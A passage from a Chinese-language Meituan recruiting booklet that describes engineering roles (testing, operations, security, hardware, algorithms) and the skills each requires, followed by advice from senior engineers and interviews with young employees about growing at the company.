细节可以通过美团数据方向的技术文章来体验：

	● 美团配送数据治理实践

	● 美团数据平台融合实践

	● 美团数据仓库的演进

	● 美团数据平台Kerberos 优化实战

	● 每天数百亿用户行为数据，美团点评怎么实现秒级转化分析？

测试工程师

	 对应岗位名称：测试开发，测试工程师，QA工程师。

互联网已逐步成为人们生活和工作中不可或缺的部分，相应的，用户对互联网产品的

用户体验和质量要求随之「水涨船高」，质量低、体验差的产品也将越来越难以留在

赛道上。这样的背景下，测试工程师的岗位面临着新的挑战和机遇。美团对测试工程

师的期待远不止是传说中「点点点」式的「黑盒」功能测试，而是需要与产品、研

发、业务团队密切协作，以专业能力保证数亿消费者的用户体验，支撑数百万商家的

线上化运营。

守住质量底线，交付用户价值。美团测试工程师的岗位职责除了基于对用户需求和被

测系统的理解、设计并执行完备高效的测试用例从而保证交付质量外，还需要不断推

动被测系统改进可测性设计、探索高效测试方法、持续提升自动化测试水平。在此过

https://tech.meituan.com/2020/03/12/delivery-data-governance.html
https://tech.meituan.com/2017/08/25/dataplat-coalesce.html
https://tech.meituan.com/2013/12/05/meituan-datawarehouse-evolution.html
https://tech.meituan.com/2018/05/20/kerberos-big-data-platform.html
https://tech.meituan.com/2018/03/20/user-funnel-analysis-design-build.html
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程中不断完善的测试工具、持续交付基础设施将使得我们的研发过程日趋高效，全过

程、多维度的研发过程数据将驱动我们的技术团队持续进化。一个业务需求从发起到

最终交付用户使用，测试工程师的角色无处不在，全方位的为稳定的交付质量和良好

的用户体验保驾护航。

美团测试通道能力模型全面且立体，测试工程师的成长路径涵盖测试技术专家、业务

方向质量顾问、测试工具与基础设施开发者等不同诉求。针对上述细分领域，美团测

试通道精心准备了适用于初、中、高阶的培训课程。目前培训课程已经过多轮评审和

迭代，课程讲师均是公司内各个领域的佼佼者。期待有朝一日你也成为光荣的讲师团

成员！

选择美团测试通道的 4 大理由：

	● 适于不同类型人才发挥的空间，无论是热衷技术还是长于协作，热情洋溢或是

冷静心细，都能找到展现个人精彩的舞台；

	● 有利于锻炼综合能力，从业务理解到技术架构，从沟通协作到效率提升，相较

于「固守一隅」的开发人员拥有更为广阔的视角；

	● 测试通道拥有清晰的人才模型、健全的职级体系、多样化的成长路径，资深导

师辅导、开放的技术氛围帮助每位同学成长；

	● 立足完整的测试理论基础和技术体系，面临万物互联和智能化时代伟大挑战，

有机会与我们一同探索测试领域全新的未来。

当然，在面对多种多样的被测系统时，测试工程师需要对它们的技术原理和实现方法

有基本的了解，才能有针对性的进行更深入的测试。在遇到各式各样的可测性难题

时，测试工程师需要打破边界、发散思维，从别的领域寻求启发，以突破本领域的思

维定势。当然最重要的一点是学习能力，业务领域和技术领域的知识浩渺如大海，扎

实的基础知识是成长的基石，而良好的学习习惯，快速的学习能力，以及驱动自己不

断探索未知领域的好奇心才是成长的持续动力。
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美团对测试工程师候选人重点考核的专业知识及专业技能

	● 计算机技术基础，包括网络、数据结构、数据库、操作系统、编程语言、软件

测试 / 软件工程等等；对校招生不要求有丰富的工作经验，更注重技术基础能

力是否扎实。

	● 了解经典的软件测试理论，熟悉基本的测试设计方法；对质量度量、流程把控、

客户端专项、性能工具的使用较为熟悉；且具备一定的编码能力；

	● 加分项：测试工程师的岗位需要候选人有比较广泛的知识面，最好对计算机各

个领域的知识均有涉猎，不求样样精通，但求能融会贯通。

细节可以通过美团测试方向的技术文章来体验：

	● 质量运营在智能支付业务测试中的初步实践

	●“小众”之美——Ruby 在 QA自动化中的应用

	● 大众点评App的短视频耗电量优化实战

	● Lego- 美团接口自动化测试实践

	● 智能支付稳定性测试实战

运维工程师

	 对应岗位名称：运维开发，SRE，DevOps，DBA，网络工程师，安全工程师。

在美团做运维工程师，主要分为SRE、系统网络工程师和DBA三个方向，以及安全

领域。鉴于安全的特殊地位，我们会将安全工程师，单独拿出来进行说明，本部分先

介绍前三个方向。

SRE会以「上帝视角」来运维全公司的业务系统，每一个操作都关乎亿万用户的使

用，每一项优化都能帮助公司降低成本，增加效率。公司业务的持续发展离不开卓越

的运营，稳定性保障领域还有很多难题需要我们去突破，SRE有很大的机会成长为

优秀的架构师、管理者。

系统网络工程师的主要职责是维护和保障美团基础设施的稳定，包括数据中心、网

https://tech.meituan.com/2018/05/11/quality-operation-in-zcm.html
https://tech.meituan.com/2018/04/27/ruby-autotest.html
https://tech.meituan.com/2018/03/11/dianping-shortvideo-battery-testcase.html
https://tech.meituan.com/2018/01/09/lego-api-test.html
https://tech.meituan.com/2018/12/13/smart-payment.html
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络、服务器等设施，及维护设施所需的运维平台建设与运维。这是涉及基础科学，垂

直技术领域最多的一个通道，通过技术与运营相结合，为公司业务提供稳定、高效、

低成本的基础设施资源。如果你成为一名系统工程师，就有机会接触大规模的基础设

施资源，能够以软硬件结合的方式，系统性的参与到大规模的基础设施的运营。

DBA团队负责保障美团数据库服务的稳定和安全，致力于为公司提供稳定、可靠、

高效的在线存储服务。从传统的运维 DBA 起步，DBA 团队在短时间内经历了脚

本化、工具化、平台化、自动化的快速迭代，并开始了在智能运维领域的探索和实

践。展望未来，我们将着力于应用AI 技术推进数据库运维自动化与智能化的交叠演

进，并借助NewSQL、容器化、软硬件一体化技术促进OLTP 与 OLAP 更好的融

合。如果你有志于服务万亿级的高并发、大流量、多租户的应用场景，欢迎加入美团

DBA团队。

1.	SRE：扎实的计算机系统基础知识，丰富的网络知识，掌握常用算法，具备

脚本编程能力；具备 Linux 操作系统的运维实操经验，具备小型网站的搭建

能力；

2.	系统网络工程师：扎实的计算机系统基础知识，丰富的网络知识，掌握常用算

法，具备脚本编程能力；具备 Linux 操作系统的运维实操经验；能够无障碍阅

读英文技术Paper；

3.	DBA：能够掌握各种数据结构，如数组、链表、队列和栈，以及树、哈希表

等；掌握数据库的基础知识，如范式、表结构设计，常用SQL语句，聚合函

数的用法等；掌握 Linux 系统下的常用Shell 命令；掌握简单的正则表达式和

文本处理方法；掌握操作系统的基础知识；多参与实际的项目，在项目中积累

编码经验，增强动手能力。

细节可以通过美团运维方向的技术文章来体验：

	● 数据库智能运维探索与实践

	● SQL解析在美团的应用

https://tech.meituan.com/2018/12/13/intelligent-operation-practice-in-meituan.html
https://tech.meituan.com/2018/05/20/sql-parser-used-in-mtdp.html
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	● 云端的 SRE发展与实践

	● Redis	高负载下的中断优化

	● 美团数据库高可用架构的演进与设想

	● 美团数据库运维自动化系统构建之路

安全工程师

在当今社会，企业的信息安全越来越重要，它关系到亿万用户的数据安全和隐私保

护，关系到国计民生的基础设施可靠性，甚至可能还关系到国家安全。只有安全上不

发生颠覆性的风险，用户和业务才能岁月静好。

美团安全团队是一群有使命感的「守夜人」，他们用卓越的本领和超强的责任心守卫

着美团数亿用户的数据和隐私。如果你也热爱安全攻防，愿意在网络空间里「除暴安

良」、「保家卫国」，当一位「侠之大者」，欢迎加入美团安全团队！当你选择了信息安

全，你会发现不仅是选择了一个行业，更是选择了一种责任。

面对日益复杂的攻防对抗形式和海量数据场景，美团安全团队也在不断提升自己的标

准，致力于成为追求卓越、业界领先的安全团队，并落地更多业界认可的实践安全项

目。目前，美团安全团队人才济济，大多数核心成员拥有多年互联网以及不同安全领

域实践经验，均参与过大型互联网公司的安全体系建设，其中不乏具备百万级 IDC

规模攻防对抗的经验的全球化安全人才、CVE挖掘圣手、业务全流程风控专家、国

际顶级会议演讲者、以及知名媒体大V等。值得一提的是，美团安全团队的氛围非常

的轻松和谐。我们不止有「格子衫文化」，更会吃喝玩乐，是一群热爱生活，并且享

受生活的年轻人。

1.	专业背景：优先信息安全、计算机科学、统计学、数学等相关学历及专业背景

的同学；

2.	技术技能：至少熟悉Python、Java、Go、C++ 等主流语言中的一门，有过

至少一门语言的开发实践；了解行业政策与动向，关注最新安全漏洞，能分析

漏洞原理和实现PoC编写；能够无障碍阅读英文技术Paper；

https://tech.meituan.com/2017/08/03/meituanyun-sre.html
https://tech.meituan.com/2018/03/16/redis-high-concurrency-optimization.html
https://tech.meituan.com/2017/06/29/database-availability-architecture.html
https://tech.meituan.com/2016/09/18/the-construction-of-database-automation-system.html
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3.	覆盖领域：对网络安全、应用安全、数据安全、业务安全、移动安全、AI 安

全、IoT 安全、内容风控、攻防对抗、安全算法等任意领域有实操经验，或有

着一定的见解，并对此研究方向抱有热情；

4.	加分项：如果你是挖洞能手，有独立挖掘过知名开源应用 / 大型厂商高危漏洞

经历，或在相关领域获奖、发表过Paper、做过分享；或者曾经在大型互联

网公司有过相关实习经验；或者了解AI 主流算法适用场景和调参，有相关的

实践经验，都是加分项哦 ~

细节可以通过美团安全领域的技术文章来体验：

	● 互联网企业数据安全体系建设

	● 云原生之容器安全实践

	● 浅谈大型互联网企业入侵检测及防护策略

	● 初探下一代网络隔离与访问控制

	● 互联网企业安全之端口监控

	● 从 Google 白皮书看企业安全最佳实践

硬件开发工程师

	 对应岗位名称：硬件开发，嵌入式系统工程师。

硬件涉及面很广，这里不仅仅有硬件的设计和开发工作，同时包括了嵌入式软件方

向、机械与结构方向、硬件质量管理等技术方向。这是一个需要能够「上通业务，下

晓硬件」的技术领域，在这里工作的同学都是软硬结合的多面手。他们为美团的智能

硬件平台提供最佳的解决方案，帮助美团拓展在 IoT 领域的战略布局。

「硬件」的价值，看得见，摸得着。硬件是软件系统的载体，软件基于稳定可靠的硬

件特性基础而扩展，硬件帮助软件技术价值触达用户。如果你是一位喜欢精雕细琢的

「工匠」，欢迎加入我们，一起铸造精品！

1.	机械和电子专业技术知识，质量及项目管理专业技能，以及发现和解决问题

能力。

https://tech.meituan.com/2018/05/24/data-security-system-construction.html
https://tech.meituan.com/2020/03/12/cloud-native-security.html
https://tech.meituan.com/2018/11/08/intrusion-detection-security-meituan.html
https://tech.meituan.com/2018/01/26/network-isolation-access-control.html
https://tech.meituan.com/2017/10/27/security-port-monitor.html
https://tech.meituan.com/2017/04/07/google-security-ayazero.html
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2.	其中嵌入式软件方向：需要了解计算机体系结构，C/C++ 程序设计语言，数

据结构，常用的网络通信结构，操作系统等基础知识。

算法工程师

	 对应岗位名称：算法工程师。

美团算法团队希望通过人工智能技术为业务创造价值。要求候选人能够在深入理解

美团业务的基础上，进行有效场景的抽象和建模，并使用数据和算法优化上述模型；

同时要求候选人能够从海量数据中总结规律，通过规则、模型、自适应学习系统等

方式进行有效知识沉淀，通过数据驱动的方式帮助公司提升业务运营全链条的效率、

效果。

美团拥有丰富的算法应用场景、海量的数据、以及强大的算力平台。美团算法团队正

在构建的 AI 相关技术，囊括了语音、视觉、自然语言处理、机器学习、知识图谱、

搜索推荐、运筹优化、运动控制等领域；美团因为涉及线上和线下经济结合的众多业

务，有丰富的应用场景，包括美团点评App 内搜索推荐、面向外卖配送的定价和调

度、无人配送的自动驾驶、无人机的飞行控制、智能耳机里的语音识别、人脸识别、

智能语音客服系统、金融体系和供应链系统中的庞大知识图谱等。同时，美团的巨大

的用户和商户以及订单体量，产生了PB量级的真实数据，例如海量的用户评价、商

家经营数据、商场监控数据、餐馆菜单、无人车感知数据等，这些真实的数据对于

算法研究人员是一个巨大的宝藏和修炼场。美团拥有数万高性能服务器以及数千张

GPU卡，给模型训练提供了充足的算力。

目前，美团算法团队比较急缺的岗位包括机器学习 / 数据挖掘算法工程师、运筹优化

研发工程师、语音算法工程师、自然语言处理开发工程师、推荐算法工程师、计算机

视觉工程师、无人车和无人机的感知 / 规划控制工程师等。

美团对算法工程师候选人重点考核的专业知识及专业技能

1.	专业背景：算法基础知识与工程基础知识，包括数据结构、数学、机器学习理

论等。
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2.	专业知识：细分领域知识，包括数据挖掘、运筹优化、深度学习等基础知识，

NLP、图像、3D空间定位、点云、运动规划控制等。

3.	专业能力：要求具备一定的文献阅读和调研能力，以及算法策略的实现能力。

划重点：美团算法岗位的竞争非常激烈。如果你在算法方面不是特别自信的话，建议

多考虑一下美团的工程方向。

细节可以通过美团算法方向的技术文章来体验：

	● 美团 BERT的探索和实践

	● 美团推荐算法实践

	● 深度学习在搜索业务中的探索与实践

	● 美团外卖骑手背后的AI 技术

	● 深度学习在美团推荐平台排序中的运用

	● 机器学习中模型优化不得不思考的几个问题

	● 深度学习在美团配送ETA预估中的探索与实践

以上就是美团技术团队岗位整体介绍以及对岗位的要求，如果大家想了解更多的招聘

信息和岗位信息，欢迎关注「美团技术团队」、「美团点评招聘」微信公众号。

二、哪些软素质最受面试官的认可？

基本能力

	● 聆听的能力：希望你能够迅速Get 到面试官的提出的问题核心以及前提条件，

避免在未清晰获取到问题或者没有思考清晰的情况下，直接就回答面试官提出

的问题。

	● 沟通表达的能力：口头和书面表达逻辑清晰，能够有条理地进行思考，清楚、

有力地表达自身想法和观点。在美团的日常工作中，编写技术文档和发送邮件

的情况非常普遍，希望你具备清晰的逻辑思考能力和优秀的写作能力。

	● 学习能力：美团有句经典老话：我不会但我可以学。我们希望你能够主动发现

https://tech.meituan.com/2019/11/14/nlp-bert-practice.html
https://tech.meituan.com/2015/01/22/mt-recommend-practice.html
https://tech.meituan.com/2019/01/10/deep-learning-in-meituan-hotel-search-engine.html
https://tech.meituan.com/2018/03/29/herenqing-ai-con.html
https://tech.meituan.com/2017/07/28/dl.html
https://tech.meituan.com/2017/05/05/machine-learning-model-optimization.html
https://tech.meituan.com/2019/02/21/meituan-delivery-eta-estimation-in-the-practice-of-deep-learning.html
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自己的短板，并有规划地为自身能力打补丁，更主动地了解行业相关信息，同

时愿意主动学习新技术，包括但不限于经典的技术书籍、网络博客、教学视频

等。鼓励大家在大学时尽可能参与一些开源项目，或者参加过一些编程相关的

竞技比赛。

工作能力

	● 协作能力：一个人可以走的更快，一群人可以走的更远。美团业务线比较多，

经常涉及跨部门合作，希望你具备一定的团队协作能力。

	● 执行力：较好的计划制定和落地能力，较好的风险把控和应对能力，较好的应

变和调整能力。

	● 管理能力：在时间管理方面，能够合理安排工作，以确保自己不被Deadline

牵制；在自身管理能力方面，知道时间用在什么地方，重视对外界的贡献，善

于发挥自身长处，集中精力于重要领域，善于做出有效决策。

个人素质

	● 技术自驱力：我们希望你是真正发自心底的热爱技术，能够对技术保持好奇心，

做到「知其然也知其所以然」，且喜欢动手实践。

	● 韧性：美团提倡「长期有耐心」，希望你在遇到挫折和失败时，不会轻言放

弃。从学校到社会的过渡阶段，必然会面临很多挑战和困难，坚韧可以帮助

战胜困难。

	● 积极开放的心态：希望你拥有较强的求知欲和好奇心，对新鲜技术充满探索欲，

能够积极拓展圈内外的人际资源，跟大家一起交流、分享。同时能够不自我设

限，不断突破自我。

三、学长有话对你说：

潘魏增学长 | 南开大学 | 前端技术专家，2010 年加入美团点评

第一，练好技术基本功，勿在浮沙筑高台。大家要把计算机基础理论、互联网基础知
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识以及前端开发的基本原理弄明白，这点对刚走上工作岗位的应届生来说尤为重要。

第二，不要去追潮流，不要去做技术投机，看到人工智能、算法领域比较火爆，就一

窝蜂冲上去，往往容易「折戟沉沙」。而且工程领域发展前景并不输于算法等领域。

第三，主动了解所在公司所在部门最需要什么，了解影响业务成功的各种要素，在做

好本职工作之外向前多走一步，成为懂业务、懂商业的技术多面手。最重要的一点，

持续努力，不要懈怠。不要因为获得一点点成绩而沾沾自喜，千万不要把运气当做自

己的能力。

王晓飞学长 | 北京邮电大学 | Android 技术专家，2015 年加入美

团点评

首先建议学弟学妹，最好在大学期间就能认认真真地去完成一个App 的设计、开发、

上线的完整流程；第二，必要的面试笔试基本功不能丢（上面写的很详细呦）；第三，

多一点耐心，多一点坚持；第四点，要有自己的想法，不要因为大家都去追逐一些新

名词就随波逐流，找到适合自己的才是最重要的。

董尚先学长 | iOS 技术专家，2015 年 4 月加入美团点评

计算机知识体系很庞大，但是技术基础上都具备相通性，牢固的知识基础有助于在后

续的学习中举一反三。作为一名 iOS工程师，不代表你不能学习其他的技术栈。移动

端的知识相对来说学习曲线比较平缓，对新同学来说比较友好的，非常适合作为互联

网的入门行业。	当感觉到得心应手的时候，一定要及时走出舒适圈，严格要求自己，

LLVM、跨端技术、持续集成、动态化、端智能技术等都是可以深入的学习方向。美

团技术团队也提供了非常大的一个舞台，内部有无数的「活水」机会，大家可以去不

同的业务线、不同的技术线去挑战自我。

刘铮学长 | 西安电子科技大学 | 后台技术专家，2017 年加入美团

点评

后台和系统相关的技术体系很庞大，一开始避免陷入细节，可以先从广度入手，了解

各种技术的特性及使用场景，然后结合自己的事情或兴趣，进行某个领域的深入钻
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研。机会与能力同等重要。作为初出茅庐的毕业生，应该选择一个蓬勃发展的行业，

在丰富的实践中快速成长。

陈彧学长 | 清华大学 | 数据技术专家，2015 年加入美团点评

如果你想成为一名优秀的数据工程师，那么你需要知道，数据非常看重实战经验的长

期积累。同学们需要具有稳健的职业发展观。在数据领域，毕业后 3~5 年的时期非

常关键，就业的选择要重视未来经验的积累和视野的拓展。建议大家要重视基本功，

认知好自己的兴趣和专长。时间若是足够的话，可在美团这样的大型互联网公司找到

一份相关的实习工作，提前了解一下行业的实践。

陈阳学长 | 东北石油大学 | 测试技术专家，2019 年加入美团点评

测试方向入门容易做精难，想在某一个方向做深入需要比研发工程师更广的知识面，

也需要比产品更敏锐的需求提炼和转化能力。从工具的设计、开发再到运营，从技术

规划到版本规划再到项目实施，考验的是全面协调以及解决问题的能力。此外，高段

位的测试工程师还要根据不同项目的成熟度模型，引入规范的流程、敏捷开发模式、

数据版本的管理、代码版本的管理、组件化服务化的升级等等，都需要对业务的深度

理解，更需要多年的经验积累来确保软件的质量。建议学弟学妹们要重视知识的广

度，夯实基础，在某一个方向持续深入学习，锻炼沟通能力和解决问题的能力。

赵应钢学长 | 华中科技大学 | 数据库专家，2015 年 8 月加入美团

点评

首先，尽量寻找到在大型互联网公司实习的机会，在实际工作中提升自己，做到理论

实践相结合。通过实际工作，更能了解到企业的实际需要。其次，可以多参加一些认

证考试，在考证的过程中掌握整个知识体系，形成全局视野。最后一点，多关注顶级

企业对人才的招聘要求，提前储备相关技能。
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赵弼政学长 | 武汉理工大学 | 安全技术专家，2018 年加入美团点评

安全攻防是在计算机基本功之上的灵活运用，深刻理解原理才能化腐朽为神奇，所以

首先建议大家注意打好基本功（编译原理、操作系统、网络、数据库等）。另一方面，

安全领域的大多数前辈都是兴趣驱动的，在实践中培养自信、加深理解、融会贯通。

所以一定要多动手，不能仅仅满足于老师和课本上提到的知识。无论是挖漏洞、渗透

测试、打CTF比赛、写自动化工具还是做算法参数调优等，尽量把经典的场景都亲

手反复实践过，有了这些实践，还要擅长总结（验证对计算机基本知识的理解深度），

试着写一些文章或者Blog 分享。做好这些技术储备的同时，要坚守初心，不碰黑产。

景华学长 | 北京航空航天大学 | 嵌入式软件技术专家，2018 年加入

美团点评

当与面试官讨论问题的时候，请用数据来征服 TA。在这个领域，美团硬件通道不允

许用召回率来表达，一个算法也许完成了 90%就可以落地了，但是美团需要的是达

到 99.9999%的设计标准。所以数据是打开这个通道的大门，且对应的数字一定要

准确。在这个通道，基本功尤其重要，任何出现在你简历中的内容，一定要解释的明

明白白。

段航学长 | 比利时鲁汶大学 | 算法专家，2015 年加入美团点评

写好简历，客观地陈述个人的经历，有针对性；做好准备，重视每一次的面试机会，

心态平和；积极主动，关注目标企业招聘信息，踊跃申请。

四、欢迎加入美团技术团队：重要是跟什么样的人在一起做什

么样的事情！

人是美团最重要的资产，美团技术团队以浓厚的学习和分享氛围享誉业界。

1. 完善的技术培训体系：美团技术学院开设几百门技术专业课程。从MRN介绍

到 Java 并发编程，从系统复杂性问题方法论到机器学习算法，从后台用例设

计到运维开发初体验……



工程师文化　<　335

2. 丰富的技术图书资源：美团点评图书馆藏 13000 多册纸质书（90%以上为技

术图书），306 本电子书，并有O’Reilly	Safari 英文电子书库（四万多计算机

技术和管理图书！）、ACM	Library、知网、极客时间等多种电子资源。

3. 浓厚的工程师文化：美团技术团队内部社区为技术同学提供一站式技术信息查

询服务，内外部技术博客承载技术团队优质内容沉淀，TopTalk 不定期邀请

国内外技术大咖来公司做分享，1024 程序员节狂欢、29 个技术俱乐部聚集

志同道合的小伙伴，各种学习路径帮助你每天前进 30公里。

在帮大家「吃得更好，生活更好」的背后，有一群默默努力的工程师小哥哥、小姐姐

们在默默努力、默默付出。我们也希望优秀的你也能加入我们，用一行行代码，创造

出美好的亿万生活！
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青年人在美团是怎样成长的？

作者：技术学院

2020 年五四青年节，我们采访了美团技术团队 9位青年代表，他们是来自清华大学、

北京大学、中国科学院大学等国内高校的 2位博士研究生和 7位硕士研究生。在这个

属于青年人的特别的日子里，我们请他们分享了自己在美团成长的故事。

道阻且长，不忘初心，砥砺前行，行则将至

Q1：毕业时，你应该拿到了不少 Offer，为什么最后选择了美团？

杨扬：最重要的一点，美团的技术氛围很好。在学校的时候，我也关注了美团技术团

队的公众号 / 博客，满满的干货。我其实从大三就开始接触自然语言处理（NLP）这

个领域了，那时候就对NLP产生了兴趣和热爱，研究生期间也一直做NLP这个方

向，所以投递的岗位以及拿到的Offer 也都是与此相关的。此外，也是考虑到美团有

海量的数据和丰富的场景，能够将NLP的技术更好地应用，并且公司也处于快速发
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展的时期，我深信能在美团这里得到更多的成长空间。

当然，还有一个比较特别的原因吧，应该说是缘分。当时有师兄在美团工作，他有一

次听了王仲远（AI 平台 / 搜索与NLP部技术负责人）的一次分享后，就直接联系我，

然后将我内推了过来，然后才有后续的故事。总的来说，加入美团技术团队，能跟一

群优秀的人做事，会让自己变得更加优秀。

Q2：在美团众多的企业理念中，哪一条对你影响比较大？

杨扬：「每天前进三十公里」，这句话对我影响比较大。每天多学习一点，多思考一点，

积跬步以至千里。

Q3：工作中，典型的一天是怎么度过的？

杨扬：早上通勤的路上听听播客，到工位后首先会查看大象以及自己负责的任务运行

情况，之后将一天的工作进行拆解，然后就开工啦。下午会利用集中的时间去专注地

完成工作上的任务。晚上如果没有会议且工作上的任务完成的情况下，会做一些技术

沉淀，学习一些算法知识，再看一些最新的工作进展。下班前，简单复盘下当天的工

作，并列一下第二天的To	Do。

Q4：工作以后，最自豪或者印象最深刻的一件事是什么？

杨扬：工作以来最自豪的一件事，就是参与了美团的BERT项目。自己有幸接触并学

习了非常前沿的一些工作，然后应用在具体业务中，而且带来了一定的效果提升。同

时也和团队一起发表了一篇技术博客《MT-BERT的探索和实践》。在这整个过程学

习到了很多的东西，很感谢 Leader 和 Mentor 对我的各种指导，还有同事们的各种

帮助，在这里特别感谢大家。

Q5：你理解的基本功是什么？你平时怎么加强这方面的训练？

杨扬：我理解的基本功包括 2个方面，一方面是硬技能，包括代码能力、业务能力、

算法能力等等；另一方面是软技能，包括沟通、协作、时间管理等等。

https://tech.meituan.com/2019/11/14/nlp-bert-practice.html
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关于硬技能的话，我觉得一方面要在公司实际业务中多积累经验，提高自己的工程能

力、业务能力、执行力，同时关注核心技术，结合业务进行思考，解决问题的同时也

要多思考和复盘；另一方面，积极关注公司内部技术分享以及业界技术进展，保持学

习的敏锐度，促进技术栈的迭代更新，从而不断延伸个人的能力。

在软技能方面，还是要多学习一些方法论，在工作中进行实践，并从周围优秀的同事

身上不断学习，保持精进。

Q6：作为美团的新生力量，公司主要为你们提供了哪些方面的培养？

杨扬：美团提供的培养对我的帮助还是很大的。主要讲三点吧。第一点，刚入职时，

公司就对我们提供了「萌芽计划」以及部门的「雏鹰计划」，不仅能使我们这些新人

更快地融入，也让我们对公司以及部门有了更加深入的了解；第二点，正式入职后，

包括算法通道以及部门内会定期有各种技术分享，能够帮助我们开拓视野并学习一线

的实践经验；第三点，技术学院也提供了很多基本功课程，包括沟通技巧、写作技巧

等等，这些都有益于我们个人技能的提升。

Q7：平时喜欢读书吗？哪本对自己影响比较大？

杨扬：平时比较喜欢读书。对我影响比较大的一本书是《高效能人士的七个习惯》，

更重要的是在工作和生活中，不断去践行书中提到的一些习惯，从而提高自己的工作

效率以及充实自己的生活。

近期，对我影响比较大的一本书是《万物发明指南——时间旅行者生存手册》，作者

设定的故事是：假如你坐时光机穿越到过去，那么如何从零创造人类文明？书中介绍

了创建文明所需的语言学、数学、植物学、医学、化学、艺术、哲学等等，很酷很有

趣，推荐给大家。

Q8：五四青年节，对在校的学弟学妹们有什么想说的话？

杨扬：在学校的时候，尽量打好基础，多多积累；平时要积极主动，培养Owner 意

识；不要给自己设限，去探索更多的可能。道阻且长，不忘初心，砥砺前行，行则

将至。
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练习一样技能，最好的方式是展现给别人看

Q1：毕业时，你应该拿到了不少 Offer，为什么最后选择了美团？

瑞年：我觉得毕业工作的选择大家都会考虑如下几个点吧：1. 工作城市；2.	薪酬；3.	

自己在公司的发展空间；4.	工作内容自己是否感兴趣	or	是否匹配自己的专业。对于

我来说，上面四点的重要性是	4	=	3	>	2	>	1。我现在所在的NLP与搜索团队跟我所

学的专业比较相关，而且美团是一家处于快速增长中的公司，个人成长的空间也相对

比较大，另外薪酬方面也还OK，所以综合多种因素，最终选择了美团。

Q2：在美团众多的企业理念中，哪一条对你影响比较大？

瑞年：美团有句老话：「如果你想走得快，就要一个人走；你想走得久、走得远，要一

群人一起走。」可能只有当我们真正工作了以后，才真正体会到「团队合作」的重要

性。以前在学校，做实验、写论文也就跟导师讨论一下，很多事情一个人也能搞得

定。但到了公司以后，每个项目基本上都是整个团队中若干个人紧密协作的成果，而

且只能通过团队合作，才能真正把工作做好。
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Q3：工作中，典型的一天是怎么度过的？

瑞年：一般会比上班规定的时间稍早一点到达工位，思考一下今天的工作内容。在白

天的工作中，免不了要和同事开会讨论，经常自己的工作做到一半就被拉去开会，开

始还有点不适应，不过现在已经习惯了。一般来说，我会尽量把开会讨论放在上午和

晚上，下午的时间会留给自己单独做一些开发工作。

Q4：工作以后，最自豪或者印象最深刻的一件事是什么？

瑞年：印象最深的一件事，应该就是组内有一个项目在上线前做最后的开发，由于和

上海的团队有合作，组里集体去上海出差了 2周，天天在上海的会议室里讨论&开

发&联调。因为那个会议室里的椅子稍微有点差，感觉腰都要坐断了。不过好在最后

还是赶在Dead	Line 之前把项目推上了线。真心话，当项目上线的那一刻，成就感，

真的特别大！

Q5：你理解的基本功是什么？你平时怎么加强这方面的训练？

瑞年：我理解的基本功，更多的是在工作中需要具备的一些通用能力，比如写作能

力、沟通能力等等。这些通用的基本功，对我们工作的影响其实特别大。我认为，练

习一样技能最好的方式是展现给别人看。比如写作基本功，你要就把自己写的技术文

档发给别人看；沟通基本功，就自己尝试去做一些技术分享，或者组织一些小型的讨

论。只有这样，才能快速成长。

Q6：作为美团的新生力量，公司主要为你们提供了哪些方面的培养？

瑞年：公司的入职培训，我觉得还是挺有帮助的。毕竟是校招生第一次步入社会，入

职培训的那一周能让帮助我快速了解我们公司的文化，结交一些新的小伙伴，快速适

应这个陌生的环境。

Q7：平时有哪些爱好？这些爱好对自己有什么影响？

瑞年：我个人比较喜欢音乐和运动，工作之余会打打架子鼓，然后就是跑步、游泳。

去年冬天，开始接触滑雪。我认为培养工作之外的一个爱好特别重要，因为在工作



工程师文化　<　341

中，我们难免会遇到一些不顺心的事情，职场中也总会伴有一些压力。而工作之外的

这些爱好，对我们调解自身的状态特别有帮助。

Q8：五四青年节，对在校的学弟学妹们有什么想说的话？

瑞年：好好珍惜在校的时光，毕竟工作之后就没那么多假期了。除了上面这个玩笑之

外，还想跟学弟学妹们说，毕业找工作时，一定要提早准备，多接触一些公司，多思

考、多比较。最后祝学弟学妹们都能找到理想的工作。

简单，专注，好好学习！每天前进 30 公里

Q1：毕业时，你应该拿到了不少 Offer，为什么最后选择了美团？

孙喆：我觉得工作中最重要的还是选择跟什么样的人在一起学习和做事吧。我选择美

团的一个重要原因就是面试官特别好！我当时前后经历了三轮面试，面试的过程愉悦

又轻松，但问的问题确又实实在在，能感受到面试官为面试也做了非常多的准备、专

业性很强；有一轮面试，多位面试官参加，在跟他们的交互中，也能感受到我们美团

内部的氛围非常好。在发Offer 的阶段，面试官（同时也是我现在的Buddy）还针对

工作内容跟我沟通了一次，确定工作内容是我所喜欢的，也能感受到美团对校招生的
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择业方面还是非常负责任的。

还有一个原因是，这是我毕业后初入职场的第一份工作，因此也十分重视公司对人的

培养，而美团在这方面有完善的培养机制，为每位新人都配备导师，可以实现短期快

速成长。因此我就十分欢快地加入了。

Q2：在美团众多的企业理念中，哪一条对你影响比较大？

孙喆：我对「每天前进三十公里」印象倒是很深刻。我查了资料，这个其实来源于美

团 2周年公司年会上，兴哥讲的南极探险的故事，「有两支训练有素的队伍去南极探

险。阿蒙森团队充分评估了环境，对困难有足够的预料，做足了准备，不管天气好坏

每天坚持前进 30公里，最后成功抵达南极并安全返程。相较之下，同行的斯科特队

则因为对环境的评估不足，而且执行计划率性而为：天好时冒进，天恶时滞留，最终

长眠南极无一生还」（美团同学基本都知道～但还是贴在这里了）。我觉得这个就是在

说目标、学习和持续。相比于研究生期间在某一个领域进行「突破」，现在的工作要

求我兼备知识的广度和深度，需要学习的还很多，希望自己可以坚定地每天前进 30

公里，然后建立完整的计算机知识体系。

Q3：工作中，典型的一天是怎么度过的？

孙喆：我是在特殊的疫情防范时期加入美团的，所以典型的一天会从每日报平安&早

会开始，通过会议做好昨日的工作总结，也逐步了解部门的工作进展。早会后，我会

做个简单的工作规划，我的工作主要涉及技术战略和学术合作两部分，所以在排优先

级后会集中精力阅读论文、技术报告等，完成一些需要注意力集中的工作。最近，我

正沉浸在AI 的知识海洋里，对技术前沿动态进行追踪。同时，每天也会预留部分时

间处理需要协同和沟通的工作，非常的充实！

Q4：工作以后，最自豪或者印象最深刻的一件事是什么？

孙喆：从 0到 1搭建了美团博士后工作站的管理和运营。

我加入美团的阶段正好是美团博士后工作站成立不久，但部门没有把我视为一个「新
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人」，而是让刚入职不久的我来主R这方面的工作，部门的小伙伴则是帮助我、协助

我。从最初的内部征集需求，整理发布招聘启示，制定管理细则，再到同高校科研机

构沟通、多部门协作，并成功组织了两名博士的入站答辩。在整个流程中，我也学到

